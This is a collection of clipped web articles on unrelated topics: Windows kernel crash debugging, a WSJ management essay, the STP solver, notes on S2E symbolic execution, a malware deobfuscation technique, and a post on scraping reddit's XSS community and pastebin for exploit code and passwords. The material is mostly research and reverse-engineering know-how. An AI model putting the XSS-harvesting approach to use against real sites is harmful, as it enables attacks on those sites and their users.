00010FA4 lea eax, \[esi+8\]  
00010FA7 mov \[ebp+arg\_18\], eax  
00010FAA jmp short loc\_10FAF

Privates, Companies and/or Software House interested into a security review of
their Device Drivers can contact me for Professional Consulting, please use
PGP key that you can obtain here:  
http://evilcry.netsons.org/contacts.html

Regards,  
Giuseppe ‘Evilcry’ Bonfa’

# Sharpe Security Blog» Blog Archive » Analyzing Kernel Stack Crashes Related
to Microsoft February 2011 KB2393802 Patch

**Created:**| _2/17/2011 5:02:33 PM_  
---|---  
**Updated:**| _2/17/2011 5:02:52 PM_  
**Author:**| __  
**Tags:**| _windows security analysis kernel crashes_  
  

## Analyzing Kernel Stack Crashes Related to Microsoft February 2011 KB2393802
Patch

David Sharpe February 17, 2011 Vulnerability Management No Comments

If you are having trouble with machines bugchecking with stop codes 7F or
1000007F trap code 8 after applying the February 2011 Microsoft patches, then
this article might be relevant.

Often 0x7F or 0x1000007F stop codes trap code 8 are due to overflowing a fixed
size \(12000 byte\) kernel stack space resource. The lion’s share of
variations of crashes related to KB2393802 seem to fall in this bucket.

While you can measure total kernel stack space using MemInfo
\(http://www.winsiderss.com/tools/meminfo/meminfo.htm\), to diagnose the
problem to the root cause you need to break kernel stack space usage down by
module. Below is what we are seeing for kernel stack usage in sample crash
dumps from affected machines. In this particular crash, Intel video driver
related modules consumed 6,712 bytes of the fixed size 12,000 byte kernel
stack space resource. We are finding that upgrading the Intel video driver is
providing relief. YMMV.

Crashing systems examined so far have pre-2010 vintage igxpmp32.sys drivers
installed. You can see the installed drivers versions by issuing a “lm t n”
command in the kernel debugger with the crash dump file opened. Here is an
example from a crashing system:

b1fb4000 b2187020 igxpmp32 igxpmp32.sys Fri Dec 18 12:59:39 2009 \(4B2BC30B\)

Upgrading to the latest Intel video driver \(look to Lenovo, Dell, or whatever
your hardware vendor is first for the latest tested version\), seems to be
helping in at least the cases we have examined.

Below is an example of how you can use the Microsoft kernel debugger’s knf
command to dump out a stack backtrace with the kernel stack space per frame
listed out. The number of bytes consumed per frame is in the second column in
the output. Just take that list and add up each entry by OS component type to
see who the offender\(s\) is/are. If you use Excel to do the math, you can use
the HEX2DEC function to convert the hexadecimal values from the debugger
output to decimal.

Example:  
BugCheck 1000007F, \{8, ba360d70, 0, 0\}

\*\*\* WARNING: Unable to verify timestamp for igxpmp32.sys  
\*\*\* ERROR: Module load completed but symbols could not be loaded for
igxpmp32.s  
s  
Unable to load image igxpdx32.DLL, Win32 error 0n2  
\*\*\* WARNING: Unable to verify timestamp for igxpdx32.DLL  
\*\*\* ERROR: Module load completed but symbols could not be loaded for
igxpdx32.D  
L  
Probably caused by : igxpmp32.sys \( igxpmp32+44184 \)

Followup: MachineOwner  
———

3: kd> knf  
\# Memory ChildEBP RetAddr  
00 9bb12004 805362cb nt\!ExpFindCurrentThread+0×8  
01 24 9bb12028 8062c345 nt\!ExAcquireResourceSharedLite+0×51  
02 c 9bb12034 8063791f nt\!CmpLockRegistry+0×27  
03 38 9bb1206c 805bfe5b nt\!CmpSecurityMethod+0×17  
04 40 9bb120ac 805c01c8 nt\!ObpGetObjectSecurity+0×99  
05 30 9bb120dc 8062f28f nt\!ObCheckObjectAccess+0x2c  
06 4c 9bb12128 8062ff30 nt\!CmpDoOpen+0x2d5  
07 200 9bb12328 805bf488 nt\!CmpParseKey+0x5a6  
08 78 9bb123a0 805bba14 nt\!ObpLookupObjectName+0x53c  
09 54 9bb123f4 80625696 nt\!ObOpenObjectByName+0xea  
0a fc 9bb124f0 8054167c nt\!NtOpenKey+0x1c8  
0b 0 9bb124f0 80500699 nt\!KiFastCallEntry+0xfc  
0c 84 9bb12574 805e701e nt\!ZwOpenKey+0×11  
0d 270 9bb127e4 805e712a nt\!RtlpGetRegistryHandleAndPath+0x27a  
0e 48 9bb1282c 805e73e3 nt\!RtlpQueryRegistryGetBlockPolicy+0x2e  
0f 28 9bb12854 805e79eb nt\!RtlpQueryRegistryDirect+0x4b  
10 50 9bb128a4 805e7f10 nt\!RtlpCallQueryRegistryRoutine+0×369  
11 29c 9bb12b40 b1ff8184 nt\!RtlQueryRegistryValues+0×482  
WARNING: Stack unwind information not available. Following frames may be
wrong.  
12 a8 9bb12be8 b1fbd85b igxpmp32+0×44184  
13 678 9bb13260 b1fb9a7b igxpmp32+0x985b  
14 14 9bb13274 b2196729 igxpmp32+0x5a7b  
15 c4 9bb13338 804ef19f VIDEOPRT\!pVideoPortDispatch+0xabf  
16 10 9bb13348 bf85e8c2 nt\!IopfCallDriver+0×31  
17 30 9bb13378 bf85e93c win32k\!GreDeviceIoControl+0×93  
18 24 9bb1339c bf376769 win32k\!EngDeviceIoControl+0x1f  
19 1288 9bb14624 bf3b9f19 igxpdx32+0×8769  
1a 7c 9bb146a0 8054167c igxpdx32+0x4bf19  
1b 0 9bb146a0 00000000 nt\!KiFastCallEntry+0xfc

email: david @ sharpesecurity.com

# The End of Management - WSJ.com

**Created:**| _8/24/2010 12:18:38 PM_  
---|---  
**Updated:**| _8/24/2010 12:18:38 PM_  
**Author:**| _wishi_  
**Tags:**| _eco_  
  

# The End of Management

## Corporate bureaucracy is becoming obsolete. Why managers should act like
venture capitalists

  * Article
  * Video
  * Comments

more in Management »

  * <img src='img/icon_email.gif' />Email
  * <img src='img/icon_print.gif' />Print
  * Save This ↓ More
  *     * Twitter
<img src='img/icon_twitter.gif' alt='Twitter' />

    * Viadeo
<img src='img/icon_viadeo.gif' alt='Viadio' />

    * \+ More
close

    * Digg
    * StumbleUpon
    * Yahoo\! Buzz
    * MySpace
    * del.icio.us
    * Reddit
    * LinkedIn
    * Fark
    * Orkut
    * Facebook
  * <img src='img/icon_larger.gif' alt='larger' />Text <img src='img/icon_smaller.gif' alt='smaller' />

### By ALAN MURRAY

View Full Image

<img src='img/PT-AP668_manage_G_20100820153607.jpg' width='553' height='369'
alt='management4' />

Underwood & Underwood/Corbis

An office pool in the 1950s.

<img src='img/BTN_insetClose.gif' width='19' height='19' alt='management4' />

<img src='img/PT-AP668_manage_G_20100820153607.jpg' width='553' height='369'
alt='management4' />

Business guru Peter Drucker called management "the most important innovation
of the 20th century." It was well-justified praise. Techniques for running
large corporations, pioneered by men like Alfred Sloan of General Motors and
refined at a bevy of elite business schools, helped fuel a century of
unprecedented global prosperity.

But can this great 20th century innovation survive and thrive in the 21st?
Evidence suggests: Probably not. "Modern" management is nearing its
existential moment.

Corporations, whose leaders portray themselves as champions of the free
market, were in fact created to circumvent that market. They were an answer to
the challenge of organizing thousands of people in different places and with
different skills to perform large and complex tasks, like building automobiles
or providing nationwide telephone service.

In the relatively simple world of 1776, when Adam Smith wrote his classic
"Wealth of Nations," the enlightened self-interest of individuals contracting
separately with each other was sufficient to ensure economic progress. But 100
years later, the industrial revolution made Mr. Smith's vision seem quaint. A
new means of organizing people and allocating resources for more complicated
tasks was needed. Hence, the managed corporation—an answer to the central
problem of the industrial age.

<img src='img/082010murray_512x288.jpg' width='272' height='152' />

WSJ Deputy Managing Editor Alan Murray discusses some of the lessons new
managers can learn from his new book, "The Wall Street Journal Essential Guide
to Management."

For the next 100 years, the corporation served its purpose well. From Henry
Ford to Harold Geneen, the great corporate managers of the 20th century fed
the rise of a vast global middle class, providing both the financial means and
the goods and services to bring luxury to the masses.

In recent years, however, most of the greatest management stories have been
not triumphs _of_ the corporation, but triumphs _over_ the corporation.
General Electric's Jack Welch may have been the last of the great corporate
builders. But even Mr. Welch was famous for waging war on bureaucracy. Other
management icons of recent decades earned their reputations by attacking
entrenched corporate cultures, bypassing corporate hierarchies, undermining
corporate structures, and otherwise using the tactics of revolution in a
desperate effort to make the elephants dance. The best corporate managers have
become, in a sense, enemies of the corporation.

The reasons for this are clear enough. Corporations are bureaucracies and
managers are bureaucrats. Their fundamental tendency is toward self-
perpetuation. They are, almost by definition, resistant to change. They were
designed and tasked, not with reinforcing market forces, but with supplanting
and even resisting the market.

Yet in today's world, gale-like market forces—rapid globalization,
accelerating innovation, relentless competition—have intensified what
economist Joseph Schumpeter called the forces of "creative destruction."
Decades-old institutions like Lehman Brothers and Bear Stearns now can
disappear overnight, while new ones like Google and Twitter can spring up from
nowhere. A popular video circulating the Internet captures the geometric
nature of these trends, noting that it took radio 38 years and television 13
years to reach audiences of 50 million people, while it took the Internet only
four years, the iPod three years and Facebook two years to do the same. It's
no surprise that fewer than 100 of the companies in the S&P 500 stock index
were around when that index started in 1957.

View Full Image

<img src='img/PT-AP667_manage_D_20100819171941.jpg' width='262' height='174'
alt='management3' />

Google

A foam-brick-filled bathtub in the 'water lounge' at Google's Zurich office.

<img src='img/BTN_insetClose.gif' width='19' height='19' alt='management3' />

<img src='img/PT-AP667_manage_G_20100819171941.jpg' width='553' height='369'
alt='management3' />

Even the best-managed companies aren't protected from this destructive clash
between whirlwind change and corporate inertia. When I asked members of The
Wall Street Journal's CEO Council, a group of chief executives who meet each
year to deliberate on issues of public interest, to name the most influential
business book they had read, many cited Clayton Christensen's "The Innovator's
Dilemma." That book documents how market-leading companies have missed game-
changing transformations in industry after industry—computers \(mainframes to
PCs\), telephony \(landline to mobile\), photography \(film to digital\),
stock markets \(floor to online\)—not because of "bad" management, but because
they followed the dictates of "good" management. They listened closely to
their customers. They carefully studied market trends. They allocated capital
to the innovations that promised the largest returns. And in the process, they
missed disruptive innovations that opened up new customers and markets for
lower-margin, blockbuster products.

The weakness of managed corporations in dealing with accelerating change is
only half the double-flanked attack on traditional notions of corporate
management. The other half comes from the erosion of the fundamental
justification for corporations in the first place.

British economist Ronald Coase laid out the basic logic of the managed
corporation in his 1937 work, "The Nature of the Firm." He argued corporations
were necessary because of what he called "transaction costs." It was simply
too complicated and too costly to search for and find the right worker at the
right moment for any given task, or to search for supplies, or to renegotiate
prices, police performance and protect trade secrets in an open marketplace.
The corporation might not be as good at allocating labor and capital as the
marketplace; it made up for those weaknesses by reducing transaction costs.

Mr. Coase received his Nobel Prize in 1991—the very dawn of the Internet age.
Since then, the ability of human beings on different continents and with
vastly different skills and interests to work together and coordinate complex
tasks has taken quantum leaps. Complicated enterprises, like maintaining
Wikipedia or building a Linux operating system, now can be accomplished with
little or no corporate management structure at all.

That's led some utopians, like Don Tapscott and Anthony Williams, authors of
the book "Wikinomics," to predict the rise of "mass collaboration" as the new
form of economic organization. They believe corporate hierarchies will
disappear, as individuals are empowered to work together in creating "a new
era, perhaps even a golden one, on par with the Italian renaissance or the
rise of Athenian democracy."

That's heady stuff, and almost certainly exaggerated. Even the most starry-
eyed techno-enthusiasts have a hard time imagining, say, a Boeing 787 built by
"mass collaboration." Still, the trends here are big and undeniable. Change is
rapidly accelerating. Transaction costs are rapidly diminishing. And as a
result, everything we learned in the last century about managing large
corporations is in need of a serious rethink. We have both a need and an
opportunity to devise a new form of economic organization, and a new science
of management, that can deal with the breakneck realities of 21st century
change.

The strategy consultant Gary Hamel is a leading advocate for rethinking
management. He's building a new, online management "laboratory" where leading
management practitioners and thinkers can work together—a form of mass
collaboration—on innovative ideas for handling modern management challenges.

What will the replacement for the corporation look like? Even Mr. Hamel
doesn't have an answer for that one. "The thing that limits us," he admits,
"is that we are extraordinarily familiar with the old model, but the new
model, we haven't even seen yet."

This much, though, is clear: The new model will have to be more like the
marketplace, and less like corporations of the past. It will need to be
flexible, agile, able to quickly adjust to market developments, and ruthless
in reallocating resources to new opportunities.

Resource allocation will be one of the biggest challenges. The beauty of
markets is that, over time, they tend to ensure that both people and money end
up employed in the highest-value enterprises. In corporations, decisions about
allocating resources are made by people with a vested interest in the status
quo. "The single biggest reason companies fail," says Mr. Hamel, "is that they
overinvest in what is, as opposed to what might be."

This is the core of the innovator's dilemma. The big companies Mr. Christensen
studied failed, not necessarily because they didn't see the coming
innovations, but because they failed to adequately invest in those
innovations. To avoid this problem, the people who control large pools of
capital need to act more like venture capitalists, and less like corporate
finance departments. They need to make lots of bets, not just a few big ones,
and they need to be willing to cut their losses.

The resource allocation problem is one Google has tried to address with its
"20%" policy. All engineers are allowed to spend 20% of their time working on
Google-related projects other than those assigned to them. The company says
this system has helped it develop innovative products, such as Google News.
Because engineers don't have to compete for funds, the Google approach doesn't
have the discipline of a true marketplace, and it hasn't yet proven itself as
a way to generate incremental profits. But it does allow new ideas to get some
attention.

<img src='img/PT-AP666A_manag_DV_20100819132705.jpg' width='262' height='394'
alt='[management2]' />Granger Collection

Alfred P. Sloan of General Motors

In addition to resource allocation, there's the even bigger challenge of
creating structures that motivate and inspire workers. There's plenty of
evidence that most workers in today's complex organizations are simply not
engaged in their work. Many are like Jim Halpert from "The Office," who in
season one of the popular TV show declared: "This is just a job.…If this were
my career, I'd have to throw myself in front of a train."

The new model will have to instill in workers the kind of drive and creativity
and innovative spirit more commonly found among entrepreneurs. It will have to
push power and decision-making down the organization as much as possible,
rather than leave it concentrated at the top. Traditional bureaucratic
structures will have to be replaced with something more like ad-hoc teams of
peers, who come together to tackle individual projects, and then disband. SAS
Institute Inc., the privately held software company in North Carolina that
invests heavily in both research and development and in generous employee
benefits, ranging from free on-site health care and elder care support to
massages, is often cited as one company that could be paving the way. The
company has nurtured a reputation as both a source of innovative products and
a great place to work.

Information gathering also needs to be broader and more inclusive. Former
Procter & Gamble CEO A.G. Lafley's demand that the company cull product ideas
from outside the company, rather than developing them all from within, was a
step in this direction. \(It even has a website for submitting ideas.\) The
new model will have to go further. New mechanisms will have to be created for
harnessing the "wisdom of crowds." Feedback loops will need to be built that
allow products and services to constantly evolve in response to new
information. Change, innovation, adaptability, all have to become orders of
the day.

Can the 20th-century corporation evolve into this new, 21st-century
organization? It won't be easy. The "innovator's dilemma" applies to
management, as well as technology. But the time has come to find out. The old
methods won't last much longer.

—Adapted from "The Wall Street Journal Essential Guide to Management" by Alan
Murray. Copyright 2010 by Dow Jones & Co. Published by Harper Business, an
imprint of HarperCollins Publishers.

**Write to** Alan Murray at Alan.Murray@wsj.com

# STP Constraint Solver

**Created:**| _11/18/2010 6:44:11 PM_  
---|---  
**Updated:**| _11/18/2010 6:44:11 PM_  
**Author:**| __  
**Tags:**| _projects solver SMT_  
  

## What is STP?

  * STP is a constraint solver \(also referred to as a decision procedure or automated prover\) aimed at solving constraints generated by program analysis tools, theorem provers, automated bug finders, biology, cryptography, intelligent fuzzers and model checkers. STP has been used in many research projects at Stanford, Berkeley, MIT, CMU and other universities. It is also being used at many companies such as NVIDIA, some startup companies, and by certain government agencies.  
  
The input to STP are formulas over the theory of bit-vectors and arrays \(This
theory captures most expressions from languages like C/C++/Java and Verilog\),
and the output of STP is a single bit of information that indicates whether
the formula is satisfiable or not. If the input is satisfiable, then it also
generates a variable assignment to satisfy the input formula.  

##  Download

  * STP source at sourceforge.net  

  * Download using SVN \(subversion\) by typing the following command on your xterm:

svn co https://stp-fast-prover.svn.sourceforge.net/svnroot/stp-fast-
prover/trunk/stp stp  
  
WARNING: PLEASE DO \`ulimit -s unlimited\` BEFORE RUNNING STP. OTHERWISE, THE
YACC PARSER WILL SEGFAULT ON BIG EXAMPLES  

## Download STP wrappers and Ports

  * Python Wrapper for STP written by Roberto Paleari from University of Milan, Italy. These bindings are released under GNU General Public License

  * Ocaml Wrapper for STP written by Dawn Song's group at CMU and Berkeley. These bindings are released under the Stanford License

  * Java Bindings for STP written by Adam Kiezun from MIT. These bindings are released under the MIT license  

  * STP has been ported to OpenBSD by Kevin Lo, and can be found at http://www.openbsd.org/cgi-bin/cvsweb/ports/devel/stp/ \(STP can be installed via the ports tree\)

  * STP ships native with Fedora  

##  STP Paper

  * A Decision Procedure for Bit-vectors and Arrays by Vijay Ganesh and David L. Dill. In Proceedings of the International Conference in Computer Aided Verification \(CAV 2007\), Berlin, Germany, July 2007

# Mechanics of S2E – /bin - basisgruppe informatik - wiki

**Created:**| _5/28/2011 12:40:25 PM_  
---|---  
**Updated:**| _5/28/2011 12:40:53 PM_  
**Author:**| __  
**Tags:**| _reversing Emulation symbolic exec_  
  

# Mechanics of S2E

### Aus /bin - basisgruppe informatik - wiki

Wechseln zu: Navigation, Suche

Outline: The aim of this page is to get a basic understanding of the mechanics
behind S2E and how I can utilize it for Privacy Analysis of Android Apps.

## Inhaltsverzeichnis

  * 1 Basics
    * 1.1 What is Symbolic Execution?
      * 1.1.1 Interaction with the environment
    * 1.2 What is SSE \(Selective Symbolic Execution\)?
      * 1.2.1 Execution Consistency Models
    * 1.3 What is \(Static, Dynamic\) Binary Translation?
  * 2 Inside S²E
  * 3 Architecture Hypothesis for S²E Android support
    * 3.1 First working hypothesis
    * 3.2 References

  
---  
# \[Bearbeiten\] Basics

One can understand purpose and mechanics of S²E if you have a basic
understanding of the following topics:

## \[Bearbeiten\] What is Symbolic Execution?

Take a look at the following method:

[code]

    public int checkRadiation(int x, int max) {
    
      Log.d("X: "+x+" MAX: "+max);
    
      if (x <= (max/2)) {
         return x-1;
      } else if (x <= max) {
         return x-2;
      } else {
         return x-3;
      }
    
    }
    
    
[/code]

Suppose that this method computes the warning level according to a given
measured gamma radiation value and a given maximum value. There are several
methods to analyse this method:

  * **Testing with concrete values** : Check for a subset of all possible input values that the method behaves as expected. In general, it is not possible to check all combinations of input values. However, with whitebox-Testing one can check if all branches are covered with the tests.
  * **Formal verification** : With proving techniques you can prove that the implementation of this method corresponds to the behaviour described in the formal specification. The drawback is, that you need a formal specification \(which can also include errors and creation takes time\).

Symbolic Execution already proposed 1978 is something between those extremes:

  * Instead of feeding the method with concrete values \(f.ex.: integers\) you feed them with symbolic values \(f.ex.: 'a'\) and generalize the execution semantic of the operators.
  * When there is an IF-statement which contains symbolic variables in the condition, the execution has to fork: it separates into two execution branches with different 'path conditions' \(pc\), i.e. different restrictions for the symbolic values. 
    * Example: Let's call checkRadiation with symbolic values: checkRadiation\('a','m'\). The Log-Statement is a communication with the environment because it does not belong to the unit we want to test. \(see below\) Then the execution arrives at the first if-statement with the following condition: a <= \(m/2\) Since the values a and m don't have any restrictions from before, both the if-condition or the else-condition could be true, current path conditions allow both cases. Thus, the execution forks, copy the old path conditions \(currently there are no\) and append the new conditions derived from the if-statement. Below you see the PCs for the different branches:

[code]

             
    public int checkRadiation(int x, int max) {
    
      Log.d("X: "+x+" MAX: "+max);
                                              ***  ***
      if (x <= (max/2)) {
                                              *** a <= (m/2) ***
         return 1;
      } else if (x <= max) {
                                              *** a > (m/2) AND a <= m ***
         return 2;
      } else {
                                              *** a > (m/2) AND a > m ***
         return 3;
      }
    
    }
    
    
[/code]

For the last else-branch you can see that the path condition can be simplified
to: a > m. Now it is easy to informally or formally check if the behavior of
the method corresponds to the expectations. This is a generalization of
concrete execution; with one symbolic execution you can cover multiple
\(possibly infinite\) concrete executions. This way, you can build up so
called 'symbolic execution trees' where a node corresponds to a programme
state \(variable values, path condition,...\) and an edge between two states
models that one state is reachable from the other \(by executing the next
statement\). The state before executing a forking IF-statement has two edges.

### \[Bearbeiten\] Interaction with the environment

One problem in symbolic execution was to handle interaction with the
environment \(system calls, network, library calls,...\). KLEEE, a modern
symoblic execution engine, solves "the environment problem" by _writing a
model for the environment_ in C code and allow the client to modify it. When
unit code writes to the environment it should later read it \(for all forked
states\) and get the same \(concrete or symbolic\) value. The model, if called
with symbolic value, should ideally cover all legal environment returns \(and
also system call failures due to full-disk-errors or network problems, etc.\).
Thus, such calls to the environment also lead to forking states.

## \[Bearbeiten\] What is SSE \(Selective Symbolic Execution\)?

Symbolic Execution is not feasible for lager programs \(millions of lines of
code\) and not convenient to use for software with high environment
interaction. SSE switches between symbolic and concrete execution depending on
the particular analysis.

In S²E, clients specify which subset of the execution space \(including
library, operating system,...\) is of interest for the analysis and takes care
to symbollically execute only the necessary instructions, i.e. fractions of
execution paths which are in the user-defined scope and which contain symbolic
variables:

    "Execution ﬂows seamlessly back and forth between the symbolic domain \(i.e., in-scope execution paths\) and the concrete domain \(i.e., out-of-scope paths\), and system state is suitably converted on every boundary crossing." \(SSE\)
But how to define the scope? There are two dimensions:

  * Specify a code-region of interest \(give an executable name, give a range of programme counters\)
  * Specify data of interest \(give a data-structure, give a region of kernel/process adress space, where the data is stored

This is possible with selectors.

But how to build tools with S²E? Since the scope is defined, Analyzer plugins
check for each execution path for properties \("does not send data x over the
network",...\) or collect information while the execution proceeds.

### \[Bearbeiten\] Execution Consistency Models

Different analysis have different requirements on how "realistic" the
exploration of possible execution paths should be. Imagine the following
analogy: Unit Tests may find defects which cannot occur when integrated with
the whole system because the system will never call the unit with such inputs.
With Execution Consistency Models you can define how much context to take into
account when analysing the unit, or to be more precise: Which possible
execution paths need to be included and which can be excluded? For this
reason, one can categorize execution paths in how strict they are:

  * **statically feasible execution paths:** "there exists a path in the system’s inter-procedural control flow graph \(CFG\) corresponding to the execution in question." _Todo: That means, any execution path which corresponds to any subset of statements of the system in question?_
  * **locally feasible execution paths:** statically feasible paths + they have to fulfill the constraints which come from unit-data, i.e. the control-flow should take into account data from the unit. _Todo: Is this correct and what would be an example?_
  * **globally feasible execution paths** locally feasible paths + they fulfill the constraints which come from environment-data. \(with white-box-unit-testing this is not possible\)

## \[Bearbeiten\] What is \(Static, Dynamic\) Binary Translation?

A very brief description:

  * You have a binary for a certain CPU architecture, let's say: ARM. Such a binary contains instructions which are only suitable for ARM.
  * You want the code to run on your target cpu architecture, let's say X86.
  * Binary Translation translates the source instruction set to target instructions which run on the target architecture.
  * For analysis,debugging purposes it is also possible that source and target architecture are the same. \(f.ex.: X86-X86\) It's like reflection.

# \[Bearbeiten\] Inside S²E

<img src='img/Temp2_5276.png' width='600' height='263' />

<img src='img/Temp2_5275.png' width='15' height='11' />

My current Understanding of S²E \(11.03.2011\)

S²E takes advantages of the following existing tools:

  * **QEMU:** Does dynamic binary translation \(DBT\). But it is modified: S²E wrote a target which translates a subset of X86 guest instructions into LLVM - There are **selector-interfaces** which let the client code of S²E decide which parts of the system need to be utilize multi-path analysis. This allows S²E to determine which instructions need to be executed symbolically \(translated into LLVM and plugged into KLEE\) and which can run native.
  * **LLVM:** LLVM \(low-level virtual machine\) as a tool-chain is something like gcc \(a compiler\). One powerful thing is it's intermediate and architecture-independant description language. Moreover, the tool-chain processes the LLVM byte code further for optimization \(dead code elimination, etc.\).
  * **KLEE:** Symbolically executes LLVM byte code. QEMU is adapted to have the same states as KLEE. Due to this share, it is possible to keep concrete and symbolic execution sync.

  

S²E provides plugins, which are analyzers. Analyzers let the client code
decide how to explore \(symbolical and natively\) executed paths.

I need to understand QEMU a bit better for two reasons:

  * The Android emulator is based on QEMU
  * QEMU's DBT is modified and KLEE and QEMU share the same states. So what I have understood so far there are the following layers:

  

  1. the host CPU/memory \(the real hardware, devices\)
  2. QEMU which relays \(a\) guest operations from the S²E-VM to the real hardware, i.e. concrete execution and \(b\) translates a selection of instructions into LLVM to feed it into KLEE, i.e. symbolic execution.
  3. the guest OS which runs inside a S²E VM.

# \[Bearbeiten\] Architecture Hypothesis for S²E Android support

The aim is to add support of Android-App analysis to S²E. Here is the high-
level-idea:

## \[Bearbeiten\] First working hypothesis

<img src='img/Temp2_5274.png' width='600' height='322' />

<img src='img/Temp2_5275.png' width='15' height='11' />

My first working hypothesis to add Android-support for S²E \(11.03.2011\)

If this is working, there are the following main tasks:

  * Create a VM, which can run on QEMU and which is based on the Goldfish-Architecture \(fortunately, all neccessary specs should be available in the Android-emulator-source-code\). This VM should be able to run the android-software-stack.
  * Probably, like in Windows, I need a S²E-loader-app to select which app is the unit to be observed.
  * Replace the X86-to-LLVM-engine with an ARM-to-LLVM-engine

I don't know if this could work out. A few possible questions I need to
research:

  * Is S²E made to easily replace the X86-to-LLVM-engine? **Answer: It is not necessary to replace the Tiny Code Generator \(TCG\) Backend to LLVM because it allows to translate ARM instructions - or lets say the Intermediate representation of ARM instructions, constructed by QEMU's Dynamic Translation - into LLVM bitcode. Thus, big modifications or replacements of this backend are not necessary.**
  * Can the virtual goldfish machine can be modified to get the informations which are needed to symbolically execute the App?
  * Since the DalvikVM runs GreenThreads which are highly encapsulated from the OS, is it possible to get all the informations which are needed for a reasonable analysis with this architecture? Most of the communication between Dalvik and OS goes over the custom Linux-kernel of Android.
  * Are there other compatibility problems with S²E when I use ARM-instructions instead of X86-instructions?

## \[Bearbeiten\] References

References mighte be useful in future to look up some details, if the source
code does not help... and to do quotations for the thesis :-\)

**Concerning Symbolic Execution vs. Concolic Execution** :

  * Symbolic Execution and Program Testing, King 1976
  * KLEE: Unassisted and Automatic Generation of High-Coverage Tests for Complex Systems Programs, 2008
  * DART: directed automated random testing \(about Concolic Execution\)

**Concerning S²E:**

  * S2E: A Platform for In Vivo Multi-Path Analysis of Software Systems \(2011\)
  * Dynamically Translating x86 to LLVM using QEMU \(2010\)
  * Selective Symbolic Execution \(2009\)
  * LLVM-QEMU Google Summer of Code. \(2007\)
  * LLVM: A compilation framework for lifelong program analysis and transformation. \(2004\)

# Detours into Arcana: A Static Malware Analysis Trick — Möbius Strip Reverse
Engineering

**Created:**| _6/24/2015 10:33:55 AM_  
---|---  
**Updated:**| _6/24/2015 10:33:55 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing_  
  

# Detours into Arcana: A Static Malware Analysis Trick

June 23, 2015

Rolf Rolles

Several friends asked for my advice on a particular technique seen in some
recent malware samples, which is similar in nature to the Nanomites feature of
the Armadillo copy protection. There are three parts to this technique:

  1. When creating the malware binary, replace control transfer \(call and jmp\) instructions with privileged instructions.
  2. At run-time, install an exception handler.
  3. Catch the exceptions thrown by the privileged instructions, perform the intended control transfers, and resume execution.

A concrete example follows.

[code]

    UPX0:004081F7 in eax, dx
    UPX0:004081F8 dw 4EE0h
    
[/code]

When the process attempts to execute this instruction, an exception is
generated. The exception handler checks to see that the faulting instruction
is "in eax, dx", then reads the word following the instruction, and generates
a call to location 0x405000 + 0x4EE0. In other words, call instructions within
the module are replaced by:

[code]

    in eax, dx
    dw call_destination - 0x405000
[/code]

As malware analysts, we would like to deobfuscate the binary by replacing
these privileged sequences with the original call instructions, both for our
own sake as well as the ability to use the Hex-Rays decompiler \(which
otherwise balks at the use of privileged instructions\). However, the
particular implementation within this sample poses a slight conundrum. The
sequence "in eax, dx / dw XXXXh" is three bytes long, whereas the original
"call 409EE0h" is five bytes. Therefore, we cannot merely rewrite the original
instruction atop the privileged one without overwriting subsequent
instructions.

A second idea is to use detouring, another staple technique in reverse
engineering. We could find or create some unused space within the binary,
patch a jmp from the privileged instruction to that new location, recreate the
original instruction at that location, and then patch a jmp back to the
location after the privileged instruction. However, this idea is flawed for
the same reason: a long jmp instruction is five bytes long, so we would also
alter subsequent instructions.

Bill Gates questionably said "I choose a lazy person to do a hard job, because
a lazy person will find an easy way to do it." After some thought, I recalled
a bit of x86 processor arcana that can help us fit our detours into the three-
byte spaces provided by the obfuscator: the address-size prefix, 0x67. Quoth
the Intel manuals: "Address calculations are first truncated to the effective
address size of the current mode, as overridden by any address-size prefix.
The result is then zero-extended to the full address width." I.e., when
operating in 32-bit mode, if we prefix an instruction that references an
address with 0x67, the address will be truncated to 16-bits.

To be specific, consider the following:

[code]

    UPX1:00410320 EB 00 jmp near ptr unk_410322 
    ; jump to 0x00410320 + 2(length of jmp instruction) + 0x00 
    
[/code]

When we place an address-size prefix on this instruction, we get:

[code]

    UPX1:00410320          db 67h
    UPX1:00410320 67 EB 00 jmp near ptr unk_323 
    ; jump to (0x00410320 + 3(length of jmp instruction) + 0x00) & 0xFFFF
    
[/code]

To use this trick for deobfuscation, we must first create a segment at address
0x0 of length 0xFFFF.

<img src='img/Temp2_2149.png' />

<img src='img/Temp2_2148.png' />

Recalling our motivating example:

[code]

    UPX0:004081F7 in eax, dx ; obfuscated call 0x405000 + 0x4EE0
    UPX0:004081F8 dw 4EE0h 
    
[/code]

Let us overwrite these bytes with 67 EB FD:

[code]

    UPX0:004081F7 db 67h
    UPX0:004081F7 jmp short loc_81F7
[/code]

This is the first half of our detour. Now, at location 81F7h, let's replicate
the original control transfer instruction and add a jmp back to the location
after the obfuscated sequence:

[code]

    ROLFMSRE:000081F7 loc_81F7:
    ROLFMSRE:000081F7 call    sub_409EE0
    ROLFMSRE:000081FC jmp     loc_4081FA
    
[/code]

And now we have accomplished our goal. Once we have replaced the obfuscated
control transfers, we human analysts can read the listing more easily, and
Hex-Rays no longer has trouble decompiling the code.

Tags reverse engineering, malware, automation, deobfuscation

# script – alert\(‘REDDIT’\) – /script | Secure Planet
**Created:**| _1/5/2011 1:09:20 PM_  
---|---  
**Updated:**| _1/5/2011 1:09:29 PM_  
**Author:**| __  
**Tags:**| _web-app-sec xss_  
  

## script – alert\(‘REDDIT’\) – /script

Tuesday, January 4th, 2011 @ 8:57 pm | Security
There are a lot of sources to get exploit code, passwords, sensitive
information, hacked sites, and etc. I posted in the past about scraping
pastebin.com \[https://www.securepla.net/?p=173\] to get valuable information…
The downside is that pastebin now will block you if you make too many
requests. Luckily, http://pastebin.ca/ didn’t block the last time I checked
\(thank you Canadians\).

While I was searching through reddit.com as I always do, I found a community
called /r/xss. It is the cross-site scripting community, where people just
post their valid XSS findings. I don’t really look for cross-site scripting
anymore as it’s a boring finding that you pretty much find everywhere, but it
does have potential to cause huge impacts.

Now a days, web developers are starting to get aware of XSS flaws and creating
different mitigation, such as blacklisting certain characters that can be used
in search fields. So hackers have gone around and started encoding their XSS
attacks. Using everything from UTF-8, Long UTF-8, Hex, and so many more. If
you want to further your XSS needs, a great resource for XSS is from
ha.ckers.org/xss.html. \[http://ha.ckers.org/xss.html\]

So now back to the scraping. As I saw all the different real world XSS attacks
listed under http://www.reddit.com/r/xss I was interested in looking at how
other people were getting away with finding valid XSS. So I quickly created a
python script to grab the page and parse out the URLs including the XSS. The
only small issue I ran into was that trying to scrape the next 25 pages,
because reddit used some sort of session type key. I just created another
regular expression to pull this data out and I was set.

